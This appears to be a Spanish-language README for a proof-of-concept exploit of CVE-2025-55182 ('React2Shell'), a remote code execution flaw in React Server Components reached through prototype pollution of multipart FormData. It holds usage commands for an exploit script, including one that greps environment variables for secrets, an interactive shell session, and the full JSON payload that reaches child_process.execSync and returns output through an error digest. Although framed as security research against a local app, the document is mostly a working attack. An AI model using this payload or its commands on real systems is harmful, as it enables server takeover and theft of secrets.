Exploit de prueba de concepto para CVE-2025-55182 (React2Shell), una vulnerabilidad crítica de ejecución remota de código en los Componentes del Servidor React mediante contaminación de prototipos. Incluye modos de explotación interactivo y de línea de comandos.
Los React Server Components deserializan FormData de manera insegura. Campos multipart especialmente diseñados provocan contaminación de prototipos y ejecutan código arbitrario a través de child_process.execSync.
npm install
pip3 install requests
npm run dev
La aplicación se ejecuta en: http://localhost:3000
python3 exploit.py -c "whoami"
python3 exploit.py -c "whoami"
python3 exploit.py -c "pwd"
python3 exploit.py -c "ls -la"
python3 exploit.py -c "cat package.json"
python3 exploit.py -c "env | grep SECRET"
python3 exploit.py -i
> whoami
COMMAND RESULT:
your-username
============================================================
> pwd
COMMAND RESULT:
/path/to/project
============================================================
> exit
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('CMD',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
npm run dev
python3 exploit.py -c "whoami"
python3 exploit.py -c "whoami" -v
Muestra la estructura completa del payload y la respuesta del servidor
Por Guaxinim | Investigación en Ciberseguridad